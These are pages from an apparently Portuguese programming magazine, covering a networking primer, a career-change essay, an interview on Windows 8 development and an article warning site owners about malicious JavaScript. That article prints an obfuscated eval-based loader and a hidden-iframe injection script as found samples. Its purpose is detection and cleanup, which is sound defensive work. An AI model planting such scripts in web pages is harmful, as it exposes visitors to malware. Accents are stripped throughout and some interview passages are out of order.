Todos os dias interagimos e comunicamos com diversas pessoas. Pessoalmente ou utilizando as redes. Comunicamos com pessoas, comunicamos com o nosso computador, com ns prprios. E costumamos ser bons nisso. Por norma somos realmente bons a comunicar. Numa viso mais informtica, e deixando de lado as redes sociais, creio que o leitor concordar comigo quando digo que o simples ato de acedermos ao mail, usarmos o Google para pesquisar algo do nosso interesse, ou visitar um determinado site uma forma de comunicar. De aceder informao e de a enviarmos. Mas que caminho segue a informao at chegar at ns? Antigamente, visto que este ainda um passado com um p no presente, usvamos tipicamente redes mltiplas, ou seja, utilizvamos uma rede para o equipamento telefnico, outra para a internet e s vezes ainda uma outra rede para a televiso. Hoje em dia, na maior parte das casas portuguesas, optamos por um nico servio que nos d acesso televiso, rede e ao telefone. Estas novas redes so conhecidas como as redes convergidas. Por terem vrios servios num s, numa s rede. Desta forma podemos afirmar que uma rede convergida uma rede escalonvel que nos permite albergar vrios tipos de ligaes. Contudo este artigo, assenta principalmente na forma como comunicamos e interagimos na rede das redes, a internet. Sabemos que a rede hierrquica e distribuda, tolerante a falhas de forma a que os contedos que acedemos diariamente estejam sempre disponveis. E a maior parte das vezes apenas queremos saber onde est o cabo para ligarmos o computador rede, ou melhor ainda sabemos qual a password do Wireless. Para irmos direitinhos ao browser e ver o email ou usar o Google. A maior parte das vezes esquecemos toda a mquina que est por trs. E que no precisamos de estar ligados internet para estar numa rede. Eu pelo menos esqueo e acredito que alguns leitores tero a mesma opinio que eu. E isto que eu proponho ao leitor. Uma viagem pela pilha de protocolos, at a informao se fundir nos bits e nos bytes, porque para termos acesso a uma rede, apenas precisamos de ligar dois computadores entre si. Conhecemos principalmente dois modelos que auxiliam o bom funcionamento das regras da comunicao atravs na internet. O Modelo OSI e o Modelo TCP/IP.
Apesar de serem diferentes, estes dois modelos, andam quase de mos dadas um com o outro, sendo o seu objetivo final o mesmo. O modelo OSI um modelo de referncia, fornece uma referncia comum para uma manuteno consistente dentro de todos os tipos de protocolos de rede e servios. Contudo, no tem a inteno de ser uma especificao de implementao. O principal propsito de um modelo de referncia o de auxiliar a um entendimento mais claro das funes e processos envolvidos. Um modelo de protocolo fornece um modelo que corresponde estrutura de um conjunto especfico de protocolos. O conjunto hierrquico de protocolos representa tipicamente toda a funcionalidade necessria para fazer interface da rede humana com a rede de dados. O modelo TCP/IP um modelo de protocolo porque descreve as funes que ocorrem em cada camada de protocolos dentro do conjunto TCP/IP. A maioria dos modelos de protocolo descrevem uma pilha de protocolo especfica de um fornecedor. No entanto, o modelo TCP/IP um padro aberto. O modelo TCP/IP foi feito baseado em RFCs, Request for Comments, em que vrias pessoas participaram num debate que foi aberto a todo o pblico, dando opinies at ser encontrado o modelo final.
52
No Code
VIAGEM DA INFORMAO
De uma forma muito sucinta, a comunicao feita recorrendo a uma interaco entre os protocolos das vrias camadas, por exemplo: o protocolo http codifica a informao que vai ser transmitida e envia-a para o TCP que por sua vez transmite e transporta a informao. O IP v para onde deve mandar os pacotes segmentados pelo TCP e envia-o para a Ethernet que por sua vez coloca os dados no fio da rede (assumindo que estamos a usar uma ligao por cabo numa rede local). Os protocolos so independentes da tecnologia usada, definem a sintaxe da informao trocada na rede. H duas noes importantes a reter neste momento, a segmentao e o encapsulamento. A segmentao consiste em partir a informao que nos interessa em partes mais pequenas para serem mais facilmente transmitidas, e o encapsulamento a adio de meta informao informao j existente. Como cada camada do modelo acrescenta a meta informao de que necessita, assim aumentado o overhead (quantidade de informao) de cada PDU (protocol data unit). O nome do PDU difere sua passagem em cada uma das camadas. Assim, quando a informao (dados) segmentada, estas pequenas partes geradas so chamadas de segmentos TCP, o nome do PDU da camada de transporte. O segmento ento enviado para a camada Internet em que, aps sofrer novo encapsulamento, se passa a denominar por pacote. Assim, podemos dizer que o protocolo TCP/IP so as camadas de transporte (TCP) e de rede (Internet) que actuando em conjunto, sabem para onde devem enviar o PDU pois a camada de rede j lhe adicionou o IP de destino. Embora o protocolo IP seja independente do meio utilizado, a MTU (unidade mxima transmitida) j depende do meio pois o cabo de fibra ptica pode enviar pacotes de dados com um tamanho maior do que os fios de cobre por exemplo. Continuando a nossa viagem, o pacote ento enviado para a camada de Interface de rede ou a camada de acesso rede. nesta altura que o pacote encapsulado e transformado em frame. A camada de subcamadas: rede pode ser subdividida em duas Subcamada LLC (logical link control) - Trata da parte do software, independente do equipamento fsico e faz a ligao com as camadas superiores, responsvel por encapsular o pacote originando a frame. Subcamada MAC (media access control) Trata da parte do hardware, coloca a frame em cima do cabo (os bits) e, se houver erros, pode tentar recupera-los. Assim o IP deixa cair o pacote na Ethernet, a camada LLC adiciona-lhe os metadados necessrios e passa-os para a camada MAC que verifica se o canal que est a usar est ou no livre para enviar esses mesmos dados. A prxima imagem tenta exemplificar com algum pormenor as fases pelas quais passam os dados que enviamos para a rede.
De forma muito simples, e recordando o leitor, obtemos o seguinte conjunto de palavras chave:
Este um dos pontos que o modelo OSI mais especifico pois tem duas subcamadas correspondentes ltima camada do TCP/IP. Nestas camadas, assumindo mais uma vez que estamos numa rede local que pode ou no estar ligada internet, podemos falar no protocolo Ethernet que trata da interligao de vrias mquinas. A Ethernet importante porque fica entre a camada fsica dos dados e a camada lgica dos dados.
E so estas informaes que ajudam a que a comunicao se faa correctamente, de forma a que os dados gerados por ns sejam bem enviados e bem recebidos. Devemos ter sempre em mente que, se a informao percorre todos estes processos e caminhos quando a enviamos, ir fazer o percurso inverso quando a recebemos.
53
No Code
VIAGEM DA INFORMAO
Mas como que a rede sabe que aqueles dados so para ns? Caso o leitor esteja, por exemplo, a fazer uma pesquisa, ou at mesmo a fazer o download da nossa revista, enviada a informao de que quer aceder mesma. Assim, como resposta, o servidor em que est alojada a informao envia os dados pedidos passando, tambm, por todos os processos de encapsulamento que apresentamos anteriormente. Neste processo, um dos dados que adicionado o nosso endereo de ip, como est ilustrado na figura. Assim, quando os dados esto na rede universal e chegam ao nosso router, este ir reencaminha-los para o switch que com a sua tabela ARP tabela onde se encontram as correspondncias entre as interfaces de rede e os respectivos endereos MAC ir entregar os dados ao computador respectivo. Como fecho deste artigo, e apenas por curiosidade, vamos considerar uma operao que o leitor pode fazer facilmente no seu dia-a-dia.
Vamos considerar o envio de um email em que anexamos um documento ou uma imagem qualquer. Supondo que o tamanho desse email aproximadamente 6MB e que a nossa MTU de 1500 bytes. Fazendo a segmentao e encapsulao da informao obtemos (aproximadamente): 6000000/1500=4000. Ou seja, um email de 6MB cria 4000 frames Ethernet para serem enviadas pela rede, num simples email.
A maioria dos protocolos oferece uma pilha de protocolo expecifica de um fornecedor. No entando o modelo TCP/IP um padro aberto
AUTOR
Escrito por Rita Peres Natural de Castelo Branco e estudante de Engenharia Informtica da Universidade da Beira Interior. Membro do P@P desde Janeiro de 2010 (https://www.facebook.com/rita.aperes)
54
No Code
Camaleo! De que cor?
Cada vez mais ouvimos falar de crise e austeridade, de dificuldades econmicas, emigrao Muitos dizem que tm de sair do pas se querem ter emprego. Outros simplesmente dizem que esto desempregados e contentam -se. Muitos lutam cada dia por achar uma nova forma de garantir o futuro e cada vez mais o presente. No descansam enquanto no acham uma soluo, por mais incrvel que seja. Muitos acomodam-se aos subsdios do estado e passam umas frias prolongadas at que este acabe, e ento que levam as mos cabea. Pude ler atravs da Lusa, que em Agosto o desemprego em Portugal aumentou para os 15.9%. No me surpreende. Fao parte de um grupo de portugueses que nos incios de Julho, Agosto ou Setembro, contribui para o aumento da taxa de desemprego os docentes. Cada vez mais ouvimos de cortes na educao e diminuio do nmero de professores a serem contratados. O que nos acontece? Posso falar da minha prpria experincia. Sou licenciada em ensino e em todos os anos em que leccionei nunca tive certezas de um emprego garantido no ano seguinte. De facto, neste momento, no posso garantir se o meu posto de trabalho existir nos prximos anos, ou se ser extinto pela diminuio da taxa de natalidade e pelas medidas de austeridade a que todos estamos sujeitos. crianas, quando se lhes d uma comida que nunca comeram a provar, e eles dizem logo partida que no gostam mas nunca experimentaram. Comigo foi assim. H onze anos (s para verem o tamanho da casmurrice) que me dizem, devias estudar programao, devias pensar noutra coisa para fazer, porque no programao?. Eu sempre disse que isso seria muito complicado, areia a mais para a minha camioneta, que nunca seria capaz de programar, que nem sequer era a minha rea, uma vez que sempre fui virada par as artes. O mais engraado que a vida s vezes prega-nos c cada partida do arco da velha.
Cada vez mais temos de deixar as vises quadradas de que apenas devemos fazer aquilo para o qual estudmos.
S que este ano tive uma oportunidade de ouro que mudou a minha forma, por vezes quadrada, de ver as coisas. Sempre pensei, e continuo a pensar, que tendo oportunidade de fazer o que se gosta, devemos aproveitar. O que no pensei que muitas vezes essa viso pode-nos tapar os olhos de facto. Agarrados a esse mote de vida, no nos damos sequer ao trabalho de experimentar outras coisas. Agimos como
Eu sempre disse que isso seria muito complicado, areia a mais para a minha camioneta, que nunca seria capaz de programar, que nem sequer era a minha rea (...)
No final do passado ms de Junho, dei comigo porta do IEFP, numa enorme fila de docentes como eu, que esperavam desde as 7h da manh e que ficariam ali todo o dia at serem atendidos, e de outros que teriam de vir no dia seguinte Ora quando chegou a minha vez, entreguei a minha documentao e tive que preencher alguns impressos. Entre eles encontrava-se um que referia vrios cursos dos quais teramos de escolher um. No sei porqu, (se calhar por causa do passarinho que h 11 anos me canta ao ouvido) escolhi um intitulado percurso internet elaborar pginas para a internet, ou seja, HTML. E l fui eu a pensar que no ia conseguir fazer nada de jeito que no ia aprender nada de significativo
55
No Code
CAMALEO! DE QUE COR?
No podia estar mais enganada. O curso em si, no foi muito completo, pois eram apenas 50h. Mas foi o suficiente para me por a fazer o que eu nunca imaginei que viesse a fazer. Imaginem o que durante anos chatear o marido ou esposa por estar at altas horas da noite a programar e de repente so vocs que fico acordada at s 2:30 da manh a programar, s porque queria aprimorar e aprender novos truques para aplicar na pgina Como disse o personagem Neo em The Matrix, o destino no existe sem um suave senso de ironia. camaleo na hora certa. Na realidade a verdadeira adaptao passa por uma mente inquieta, pela sede de conhecimento e pela constante busca de algo novo. Uma ideia, pode surgir a qualquer momento. Silicon Valey comeou por ser uma terra desconhecida onde um grupo de estudantes com muita criatividade se juntavam a mostrar as faanhas que conseguiam com apenas primitivos circuitos electrnicos. Desse tempo permanece a Apple nascida numa garagem, pelas mos de um estudante baldas, mas visionrio e de um brilhante estudante de engenharia. A HP, tambm nascida numa garagem em Palo Alto, California, pelas mos de dois estudantes, Bill Hewlett e David Packard, cujo primeiro cliente foi s a Walt Disney Studios. A grande Microsoft tambm nasceu de estudantes, da vontade de mudar o mundo, do no conformismo e da adaptao.
Foi a que eu ca em mim e comecei a ponderar muito seriamente uma carreira alternativa na rea das TI. Agora, paralelamente s minhas aulas, estou a frequentar cursos de programao online, para ganhar bases o mais rpido possvel, pois agora penso que uma mudana de carreira ser inevitvel. Cada vez mais temos de deixar as vises quadradas de que apenas devemos fazer aquilo para o qual estudmos. Cada vez mais temos de nos adaptar s mudanas e exigncias do quotidiano presente e futuro. Lembra-me um jogo de infncia Camaleo, de que cor? no qual tnhamos de nos juntar cor que era dita. Penso que as TI so uma rea com grande capacidade de acolhimento e uma grande aposta. H sempre algo novo a acontecer. um mundo em constante evoluo e revoluo. E haver cada vez mais lugar para um I.T. Algum que me muito querido costumava dizer No me preocupa o futuro, muito em breve ele vir! S espero ser
AUTOR
Escrito por Sara Santos Professora do Ensino Bsico e de Educao Musical. Deu os seus primeiros passos na programao no tempo do DOS e do dBaseIII plus. Autodidacta nas novas tecnologias, iniciou a aprendizagem em VB.Net v2005 estando actualmente a aprofundar conhecimentos atravs de formao certificada na rea da programao web e plataformas moveis. Membro do Staff da Revista Programar desde a 30 edio.
56
No Code
Verifica regularmente os ficheiros JavaScript do seu site?
Existem cada vez mais websites portugueses infestados com malware. Prova desta minha afirmao nmero de domnios, com o domnio de topo pt, que esto aparecer em blacklists de bases de dados de malware. malicioso. Exemplo de um cdigo malicioso (ofuscado): try { 1 - prototype; } catch (asd) { x = 2; } if (x) { fr = "fromChar"; f = [4, 0, 91, 108, 100, 88, 107, 95, 100, 101, 22, 91, 105, 99, 54, 91, 90, 29, 32, 22, 112, 4, 0, 107, 88, 104, 21, 96, 92, 103, 100, 22, 50, 23, 90, 100, 90, 107, 98, 92, 100, 105, 37, 89, 103, 92, 87, 105, 92, 59, 97, 92, 99, 90, 101, 106, 29, 30, 95, 91, 105, 87, 98, 92, 29, 30, 50, 3, -1, 96, 92, 103, 100, 36, 104, 107, 111, 97, 92, 36, 101, 102, 105, 94, 107, 95, 100, 101, 51, 28, 88, 88, 104, 102, 98, 106, 107, 91, 28, 50, 3, -1, 96, 92, 103, 100, 36, 104, 107, 111, 97, 92, 36, 105, 102, 102, 50, 30, 35, 46, 48, 47, 90, 100, 29, 48, 4, 0, 94, 93, 104, 98, 37, 105, 105, 112, 98, 90, 37, 98, 90, 93, 106, 50, 30, 35, 46, 48, 47, 90, 100, 29, 48, 4, 0, 94, 93, 104, 98, 37, 105, 103, 90, 22, 21, 52, 22, 23, 95, 106, 105, 103, 48, 36, 38, 99, 94, 88, 99, 94, 95, 91, 86, 107, 106, 94, 90, 97, 90, 107, 105, 35, 90, 101, 98, 38, 94, 105, 107, 102, 35, 103, 94, 101, 25, 49, 2, 1, 95, 91, 105, 99, 35, 96, 90, 21, 52, 22, 28, 93, 104, 98, 64, 90, 28, 50, 3, -1, 91, 101, 88, 108, 99, 90, 101, 106, 35, 89, 101, 89, 112, 36, 86, 103, 102, 90, 101, 90, 56, 95, 95, 97, 91, 30, 94, 93, 104, 98, 32, 49, 2, 1, 115, 48, 4, 0, 108, 96, 100, 89, 102, 109, 35, 102, 100, 97, 102, 87, 89, 23, 51, 21, 93, 104, 98, 56, 90, 89, 50, 3, -1]; v = "eva"; } if (v) e = window[v + "l"]; w = f; s = []; r = String; z = ((e) ? "Code" : ""); zx = fr + z; for (i = 0; 291 - 5 + 5 - i > 0; i += 1) { j = i; if (e) s = s + r[zx]((w[j] * 1 + (9 + e("j%3")))); } if (x && f && 012 === 10) e(s); Alguns dos cdigos so bastante sofisticados. Desde a utilizao de servios de geo-localizao de IP para enviarem o visitante para diversos sites dependendo do seu local, at ao controlo das diversas verses do browser para lanar o respectivo exploit (muitas vezes ainda desconhecidos por parte das empresas de software). necessrio que exista um protocolo de segurana por parte dos webdevelopers, ou responsveis pelo site, para analisarem regularmente as suas aplicaes web. Ser bloqueado pelo Google devido infeco do site com cdigo malicioso (Safe Browsing) pode causar danos considerveis, principalmente monetrios e de reputao perante os clientes/visitantes. O visitante de um site que est infectado tambm pode ter um papel activo na segurana deste, reportando o quanto antes ao responsvel. Se o site for bloqueado pelo seu contedo malicioso, o visitante pode utilizar a ferramenta online ScanPW (http://pke.nu/scan) para verificar o cdigo fonte e obter um email vlido ou um link para uma pgina de contacto.
Os ficheiros JavaScript (.js) so dos principais tipos de ficheiros escolhidos para alojar cdigo malicioso. So ficheiros que, na maioria das situaes, so carregados em todas as pginas (como por exemplo, nas frameworks jQuery, MooTools, entre outras). Tambm tornam a deteco mais difcil porque muitos utilizadores, ou ferramentas de anlise de cdigo malicioso, apenas verificam o cdigo fonte da pgina activa do browser e nunca as suas dependncias.
Exemplo de um cdigo malicioso (no ofuscado): function frmAdd() { var ifrm = document.createElement('iframe'); ifrm.style.position = 'absolute'; ifrm.style.top = '-999em'; ifrm.style.left = '-999em'; ifrm.src = "http://xxxxxxxxxxxxxx.com/Scripts/ index.php"; ifrm.id = 'frmId'; document.body.appendChild(ifrm); }; window.onload = frmAdd; O que comprometer os ficheiros? (e permitir que sejam infectados com cdigo malicioso)
Servidor de alojamento comprometido; Conta de alojamento comprometida (pgina web vulnervel ou aplicaes web desatualizadas exemplo: Joomla, Wordpress, Drupal, entre outros); Sistema operativo infectado com algum malware (posteriormente podem obter dados confidenciais de aplicaes FTP para o controlo de pginas web); Download de ficheiros JavaScript infectados (principalmente quando o download de determinadas frameworks no efectuado nos respectivos sites oficiais).
Praticamente todos os cdigos maliciosos apresentamse ofuscados, o que requer uma maior ateno,
principalmente manual, para analisar e criar uma futura assinatura para preveno de situaes semelhantes. Os prprios antivrus apresentam uma taxa de deteco muito baixa devido s vrias tcnicas para ofuscar o cdigo
57
No Code
VERIFICA REGULARMENTE OS FICHEIROS JAVASCRIPT DO SEU SITE?
Por vezes, observar uma pgina web no seu cdigo-fonte pode ajudar bastante na preveno de problemas de segurana. Nas ltimas semanas deparei-me com algumas situaes lamentveis. Muitos responsveis pelos sites infectados no tm qualquer conhecimento de como detectar, remover e corrigir problemas de segurana. Dos 10 ltimos sites .pt publicados em listas negras de malware, 8 apresentavam ficheiros JavaScript maliciosos: Nome do ficheiro jquery.scrollable.js jquery.js overlib.js swfobject.js gk.script.js js.Rollover.js funcs.js jspngfix.js <iframe> para site que contm malware que explora falhas no <iframe> para sites que continham adware <iframe> para site que comercializa produtos farmacuticos Descrio do problema <iframe> para site com malware que simula o Google Analytics Aps contacto estabelecido com os responsveis pelos sites, apenas dois responderam. Um mencionou que no tinha conhecimento de como remover. O outro utilizador j tinha sido informado do problema (h cerca de 3 meses!!), contactou o web-developer mas nunca obteve resposta. uma realidade este cenrio da pouca preocupao pela segurana da informao na web. Deixo aqui algumas ferramentas que podem ser teis no auxilio e preveno neste tipo de vicissitudes:
ScanPW (http://pke.nu/scan) Malzilla (http://malzilla.sourceforge.net) Wepawet (http://wepawet.iseclab.org/) Unmask Parasites (http://www.unmaskparasites.com/) JSUNPACK (http://jsunpack.jeek.org/dec/go) Sucuri SiteCheck (http://sitecheck.sucuri.net/scanner/)
No entanto, se j tem o seu site bloqueado pelo Google Safe Browsing, recomendo a leitura desta pgina - http:// support.google.com/webmasters/bin/answer.py?hl=ptBR&answer=163634 e seguir os passos indicados.
AUTOR
Escrito por David Sopas Analista de segurana web, programador, fundador, editor do WebSegura.net e lder do projeto ScanPW. Colabora regularmente com a comunicao social em assuntos relacionados com a segurana da informao.
58
No Code
ENTREVISTA A TIAGO ANDRADE E SILVA
Revista Programar: A Microsoft lanou recentemente o Windows 8. O que podemos esperar desde novo sistema operativo para os programadores? publicar aplicaes? TS: Qualquer pessoa pode desenvolver uma App para o Windows 8 sem qualquer custo. Apenas para publicar uma App na Loja Windows que preciso ter uma conta de programador e essa tem uma taxa de registo anual. Essa taxa varia conforme o tipo de conta, que poder ser individual ou empresa. Se o tipo de conta for empresa o valor de 75 e a individual de 37. No entanto, em reconhecimento do interesse e compromisso dos programadores com a plataforma Windows, anuncimos tambm a oferta de um ano desta subscrio para quem tem uma conta MSDN elegvel (todos os nveis menos o MSDN operating systems). Atravs dos programas DreamSpark (www.dreamspark.com) e BizSpark (www.bizspark.com), apoiamos tambm os estudantes e as empresas start-up com a mesma oferta da taxa de subscrio da loja Windows. Claro que no valor mencionado acima no est a considerado o custo do desenvolvimento em si. Aqui apenas se dever considerar o custo pessoa/hora, uma vez que possvel obter as ferramentas necessrias sem qualquer custo: Visual Studio Express 2012, o SDK e todo o contedo de apoio ao desenvolvimento. A verso express do Visual Studio uma verso entry level e com limitaes. Para um desenvolvimento mais profissional aconselhada a utilizao de uma das verses mais avanadas (http:// www.microsoft.com/visualstudio/). Tiago Andrade e Silva: Qualquer lanamento de uma nova verso do Windows traz inmeras novidades. A maior delas no Windows 8 para os programadores a possibilidade dedistriburem as suas Apps a partir da Windows Store, e de tirarem partido de um sistema sem compromissos: multiplataforma (intel e ARM), multi-device (PCs, laptop, All-in-one e tablets) e multi-input (touch, pen, rato e teclado). O Windows 8 representa uma oportunidade de negcio enorme para os programadores, uma vez que o Windows o sistema operativo mais utilizado em todo o mundo e as Apps esto no centro da experincia do Windows 8. Uma outra novidade extremamente interessante o facto de ser possvel desenvolver Apps nativas Windows 8 utilizando a trade de linguagens mais utilizadas em todo o mundo: HTML, CSS e Javascript. Este facto ir aumentar bastante o leque de pessoas que j tm os conhecimentos necessrios para desenvolver Apps nativas Windows 8, conseguindo tirar partido de toda a plataforma e criando uma experincia diferenciada. A flexibilidade da nova loja e o alcance do Windows fazem com que seja muito atraente desenvolver para esta plataforma. possvel desenvolver uma App em Portugal e ter impacto escala global (a loja Windows est presente em 200 pases e em 100 lnguas diferentes), com um modelo de faturao flexvel e interessante. No caso de uma App paga, o modo de partilha de receita 70% para o programador e 30% para a Microsoft. Se faturar mais do que 25 mil dlares esta diviso passa a ser 80% para o Developer e 20% para a Microsoft. A loja Windows permite tambm um modelo em que, se for o programador ou entidade que publica a App a cobrar diretamente ao consumidor, esta ficar com 100% do valor faturado, no devendo qualquer comisso Microsoft. Este um aspeto diferenciador e muito interessante para quem cria as Apps. RP: Quanto vai custar para desenvolver aplicaes Windows 8? Teremos de pagar por uma Developer License s para poder desenvolver ou pagamos apenas para
RP: Quantas aplicaes gratuitas poderemos publicar na Windows Store depois de adquirir uma Developer License?
TS: A Microsoft est a dar prioridade s Apps de alta qualidade versus muitas de baixa qualidade. Dito isto, neste momento no existe um limite no nmero de Apps que podem ser publicadas atravs da mesma conta. A limitao existente que as Apps tm que oferecer aos clientes um valor ou utilidade nicos e criativos em todos os idiomas e mercados que suportar conforme descrito no ponto 1.1 dosrequisitos de certificao das aplicaes para o Windows 8.
59
No Code
ENTREVISTA A TIAGO ANDRADE E SILVA
Claro que no valor mencionado acima no est a considerado o custo do desenvolvimento em si. Aqui apenas se dever considerar o custo pessoa/hora, uma vez que possvel obter as ferramentas necessrias sem qualquer custo: Visual Studio Express 2012, o SDK e todo o contedo de apoio ao desenvolvimento. A verso express do Visual Studio uma verso entry level e com limitaes. Para um desenvolvimento mais profissional aconselhada a utilizao de uma das verses mais avanadas (http:// www.microsoft.com/visualstudio/).
RP: Vai ser possvel usar XNA em aplicaes Windows 8 ou foi descontinuado?
TS: O XNA continua a ser suportado no desktop do Windows 8. Aplicaes da loja Windows com maiores exigncias grficas podem ser desenvolvidas com DirectX.
RP: Foi lanando em simultneo com o Windows 8 o Visual Studio 2012. O que esta verso trs de novo de forma a convencer os programadores a comprar/usar?
TS: O Visual Studio 2012 inclui inmeras novidades que vm simplificar a experincia no ciclo de desenvolvimento e ajudar as equipas a colaborar de forma mais eficiente. Entre estas novidades, destaco o suporte a desenvolvimento de Apps para a loja Windows; melhorias nas ferramentas para desenvolvimento web (com o Page inspector e o DOM explorer); Integrao no Visual Studio do Lightswitch e do Blend; simplificao do desenvolvimento assncrono com a utilizao da framework 4.5; capacidade de ligao ao Team Foundation Server (TFS) na cloud e, por fim, melhorias no suporte a desenvolvimento para Sharepoint.
O Windows 8 representa uma oportunidade de negcio enorme para os programadores, uma vez que o Windows o sistema operativo mais utilizado em todo o mundo (...)
RP: Para quando podemos esperar o lanamento do Windows Phone 8 e qual a razo para no haver upgrade do Windows Phone 7.5 para o Windows Phone 8, para quem j comprou um telefone ? TS: O Windows Phone 8 foi lanado a 29 de Outubro e na europa os dispositivos j esto a ser comercializados. Esta verso do Windows Phone assenta na mesma tecnologia de base do Windows 8. Isto significa que as duas plataformas partilham uma base comum a nvel de networking, segurana, tecnologia de browser e suporte a media e at um sistema de ficheiros comum. Isto traduz-se em maior performance, mais funcionalidades e oportunidades para os developers e os fabricantes poderem introduzir inovaes mais rapidamente, para alm de permitir suporte a um leque de capacidades de hardware mais alargado, como processadores multi-core, mltiplas resolues ou NFC. O Windows Phone 8 um salto grande a nvel tecnolgico e no pode correr sobre o hardware existente, pelo que,
RP: Quando poderemos usar bases de dados locais (ex: SQL Server Compact) em aplicaes Metro Windows 8?
TS: Neste momento no temos nada a anunciar relativamente a SQL Compact e suporte a aplicaes da loja Windows. No entanto, se a App for desenvolvida em HTML, sempre possvel utilizar IndexDB entre outras alternativas.
60
No Code
ENTREVISTA A TIAGO ANDRADE E SILVA
infelizmente, no possvel fazer update dos dispositivos actuais para esta nova verso. No entanto, ir ser lanado um update para a verso 7.8 que permite aos dispositivos actuais terem acesso experincia do novo start screen, de forma a que todos os utilizadores possam beneficiar desta nova experincia emblemtica no Windows Phone. funciona. RP: O que, efetivamente, vamos poder aproveitar de uma aplicao feita para o Windows 8, no Windows Phone 8? Podemos aproveitar o XAML, cdigo C# / VB .NET (assemblies), ou nada poder ser partilhado?
TS: possvel reaproveitar muita coisa. Embora existam alguns controlos que s existem no Windows Phone ou no Windows 8 (por exemplo, os Panoramas e Pivots que so essenciais experincia no Windows Phone) o XAML bastante reaproveitado, sobretudo se a aplicao foi feita com base em patterns como MVVM e utilizando templates de databinding. No entanto, deve-se repensar a interface das aplicaes, porque as experincias tm diferentes nas duas plataformas. O cdigo C#/VB.NET bastante reaproveitado embora existam algumas diferenas na plataforma. Inclumos no novo Visual Studio a hiptese de criar Portable Class Libraries que permite reaproveitar assemblies entre Windows Phone e Windows 8, existindo tcnicas especficas para aumentar o reaproveitamento de cdigo. Em breve a Microsoft ir disponibilizar contedo para facilitar esta tarefa.
Esta verso do Windows Phone assenta na mesma tecnologia de base do Windows 8. Isto significa que as duas plataformas partilham uma base comum a nvel de networking, segurana, tecnologia de browser e suporte a media e at um sistema de ficheiros comum.
RP: Qual a postura da Microsoft em relao a linguagens dinmicas como o IronRuby ou IronPython ou continuar a apostar em linguagens estticas?
TS: A Microsoft tem introduzido algumas componentes dinmicas em linguagens como o C# (ver a keyword dynamic introduzida no C# na verso 4.0) e tem tambm apostado a linguagem funcional F#.
RP: Vai ser possvel desenvolver aplicaes HTML e JavaScript no Windows Phone 8?
TS: O SDK do Windows Phone inclui uma template de projecto que utiliza o excelente WebBrowser control baseado no IE10 para permitir o desenvolvimento com HTML e Javascript. No uma experincia nativa de desenvolvimento como no Windows 8, mas possvel e adequado a alguns cenrios. Iremos disponibilizar tambm recursos para explicar detalhadamente como este processo
61
No Code
PROJECTO EM DESTAQUE NA COMUNIDADE P@P: TAGGEO
Este ms, o projeto escolhido para dar destaque o Taggeo, um projeto criado pelo membro Tiago Fernandes conhecido por Sagito e pelos restantes membros da sua equipa, a Mariana Teixeira e o Rben Ribeiro. O Taggeo uma aplicao baseada na web e tambm disponvel para smartphones, que permite ao utilizador deixar a sua marca em qualquer lugar e sem qualquer tipo de restries, quando outro utilizador passar por esse local recebero a mensagem deixada nesse stio. possvel definir a visibilidade da mensagem, podendo esta ser pblica ou privada sendo esta ltima visvel apenas para os amigos do utilizador que deixou a mensagem e, ao contrrio do que se verifica em plataformas como o Twitter no existem limites em termos de carateres, o utilizador ter total liberdade na elaborao da mensagem podendo utilizar qualquer tipo de dados (texto, imagem, udio, vdeo ou at jogos) no estando obrigatoriamente associado a um local especfico ao contrrio do que acontece no Foursquare. Segundo os autores deste projeto, sero potenciadas a criao de novas oportunidades de marketing, aes publicitrias e de divulgao atravs da criao de um conjunto de ferramentas e servios para o efeito que fazem uso da tecnologia da geolocalizao, pretendo-se tambm disponibilizar um servio de desenvolvimento de aplicaes para os clientes que pretendam utilizar a tecnologia do Taggeo nas suas aplicaes. Na nossa experincia com a aplicao, podemos logo destacar uma funcionalidade bastante til logo na inicializao da mesma que o facto de o utilizador poder registar-se utilizando para isso a sua conta do facebook, no existindo por isso perdas de tempo com registos para quem possua conta nesta rede social. Em termos de interface esta bastante simples e intuitiva, bastando para deixar a nossa mensagem dar um toque em tag no menu principal e escrevermos a nossa mensagem, destaque para a integrao com o lbum de fotografias do smartphone e para a possibilidade de se partilhar a tag no facebook e twitter. Relativamente aos amigos, tambm possvel convidar os nossos amigos do facebook de uma forma bastante rpida. A aplicao gratuita e est disponvel na web e nas stores das plataformas iOS, Android e Windows Phone, por isso descarreguem-na e deixem a vossa marca no mundo! Site: http://www.taggeo.org Facebook: http://www.facebook.com/taggeoapp Twitter: https://twitter.com/TaggeoSocial Blog: http://taggeosocial.tumblr.com/
62
No Code
J DISPONVEL A APLICAO DA REVISTA PROGRAMAR, PARA WINDOWS 8
A revista PROGRAMAR j est disponvel no Windows 8, com todas as edies e detalhes sobre cada edio. A aplicao tem todas as edies j publicadas da revista desde o nmero 1 em 2006. Com esta aplicao pode navegar entre as edies e ler todos os artigos j publicados e pesquisar por artigos atravs de palavras-chave. Foi desenvolvida por um membro desta comunidade e lder da comunidade NetPonto - Caio Proiete (obrigado pelo seu contributo!). Algumas imagens da aplicao:
63